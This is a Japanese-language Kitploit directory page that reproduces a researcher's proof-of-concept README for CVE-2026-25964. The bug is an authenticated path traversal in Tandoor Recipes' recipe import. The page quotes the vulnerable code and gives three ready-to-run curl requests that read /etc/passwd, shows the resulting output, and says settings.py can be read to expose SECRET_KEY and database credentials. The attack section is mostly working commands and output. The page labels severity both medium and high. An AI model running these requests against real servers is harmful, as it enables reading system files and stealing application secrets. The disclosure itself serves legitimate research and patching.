Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25964 — CVE-2026-25964の概念実証エクスプロイト。Tandoor Recipesにおけるレシピインポートのパストラバーサルを介した認証済みローカルファイル開示であり、任意のファイル読み取りを可能にします。 | Kitploit
ツール/GitHubGitHub/drkim-dev/cve-2026-25964
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミング
GitHubdrkim-dev/cve-2026-25964

CVE-2026-25964

CVE-2026-25964の概念実証エクスプロイト。Tandoor Recipesにおけるレシピインポートのパストラバーサルを介した認証済みローカルファイル開示であり、任意のファイル読み取りを可能にします。

リポジトリを見る
2147ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25964 PoC - Tandoor Recipes 認証済みLFI

レシピインポートを介した認証済みローカルファイル開示の概念実証

開示情報: GHSA-6485-jr28-52xx を通じて私が最初に報告

⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。

脆弱性情報

フィールド値
CVE IDCVE-2026-25964
深刻度🟡 中
CVSSスコア4.9
CVSSベクター[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
CWECWE-22: パストラバーサル、CWE-73: ファイル名の外部制御
影響を受ける製品Tandoor Recipes ≤ 2.5.0
パッチ適用バージョン2.5.1
アドバイザリGHSA-6485-jr28-52xx

CVE-2026-25964: レシピインポートを介した認証済みローカルファイル開示(LFD)による任意ファイル読み取り

概要

Tandoor Recipes の RecipeImport ワークフローにおける不適切に認可されたパストラバーサル脆弱性(CWE-22)により、インポート権限を持つ認証済みユーザーがサーバー上の任意のファイルを読み取ることができます。この脆弱性は、file_path パラメータの入力検証の欠如と、Local ストレージバックエンドのチェック不足に起因し、攻撃者がストレージディレクトリの制限を回避して、機密性の高いシステムファイル(例:/etc/passwd)やアプリケーション設定ファイル(例:settings.py)にアクセスし、システム全体の侵害につながる可能性があります。


詳細

この脆弱性は、アプリケーションの意図したストレージルートに対してユーザー指定の入力を検証できないことに起因します。

  1. 無制限のファイルパス入力(CWE-73): /api/recipe-import/ エンドポイントは、認証済みユーザーが任意の file_path と storage バックエンドを持つ RecipeImport オブジェクトを作成することを許可します。file_path が設定されたストレージディレクトリ内にあることを保証する検証は実行されません。
  2. ストレージプロバイダーにおけるパストラバーサル(CWE-22): cookbook/provider/local.py の Local.get_file メソッドは、ファイル取得リクエストを処理します:
    root@kitploit:~
    @staticmethod
    def get_file(recipe):
        # 脆弱性: recipe.file_path で指定されたパスを直接開く
        # ストレージルートディレクトリ内にあるかどうかを検証しない。
        file = io.BytesIO(open(recipe.file_path, 'rb').read())
        return file
    
    この実装は、レシピオブジェクトに保存されたパスを盲目的に信頼し、絶対パス(例:/etc/passwd)や相対パス(例:../../app/config.py)を開くことを許可します。

RecipeImport オブジェクトが import_recipe アクションを介して Recipe に変換されると、悪意のあるパスが永続化されます。その後の get_recipe_file の呼び出しにより、脆弱な読み取り操作がトリガーされ、ファイルの内容がユーザーに返されます。


PoC

前提条件: レシピをインポートする権限を持つ認証済みユーザーアカウント。デフォルトでは、この権限は制限されている可能性がありますが、低権限のロールに付与された場合、影響は大幅に増大します。管理者であっても、アプリケーションレベルの権限がファイルシステムレベルの読み取りアクセスを許可すべきではないため、これはセキュリティ境界の違反を表します。

ステップ 1: 悪意のあるインポートオブジェクトを作成する ターゲットファイル(例:/etc/passwd)を指す RecipeImport オブジェクトを作成するための POST リクエストを送信します。

root@kitploit:~
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
  -b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
  -H "X-CSRFToken: <CSRF_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Admin_LFD_Final",
    "file_path": "/etc/passwd",
    "storage": 1,
    "space": 1
  }'

(注:storage: 1 は通常、デフォルトのローカルストレージに対応します。必要に応じて調整してください。)

화면 캡처 2026-02-07 155851


ステップ 2: インポートをレシピに変換する 永続的な Recipe オブジェクトを作成するためにインポートプロセスをトリガーします。ステップ 1 で返された import_id(例:4)に注意してください。

root@kitploit:~
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
  -b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
  -H "X-CSRFToken: <CSRF_TOKEN>" \
  -H "Content-Type: application/json" \
  -H "Content-Length: 0"

(<IMPORT_ID> をステップ 1 のレスポンスの ID に置き換えてください。このリクエストは新しい recipe_id(例:34)を返します。)

화면 캡처 2026-02-07 160032


ステップ 3: 任意のファイルをダウンロードする ステップ 2 で返された新しいレシピ id(例:34)を使用して、レシピファイルエンドポイント経由でファイルにアクセスします。

root@kitploit:~
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
  -b "sessionid=<SESSION_ID>"

結果: サーバーは /etc/passwd の内容を返し、LFD 脆弱性を確認します。

root@kitploit:~
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
화면 캡처 2026-02-07 160217

影響

  • 脆弱性タイプ: パストラバーサル(CWE-22)、ファイル名またはパスの外部制御(CWE-73)。
  • 深刻度: 高。
  • 結果:
    1. システム侵害: /etc/passwd を読み取る機能により、システムユーザーの列挙が可能になります。
    2. アプリケーションシークレットの開示: 攻撃者は、/opt/recipes/recipes/settings.py(テストで確認済み)や .env などの認証済み設定ファイルを読み取ることができます。これにより、SECRET_KEY(セッション偽造を可能にする)とデータベース認証情報(直接データベースアクセスを可能にする)が露出します。
    3. ソースコードの漏洩: アプリケーションのソースコードの露出により、「隠蔽によるセキュリティ」の防御が制限され、さらなる脆弱性の発見に役立ちます。
ツールをダウンロード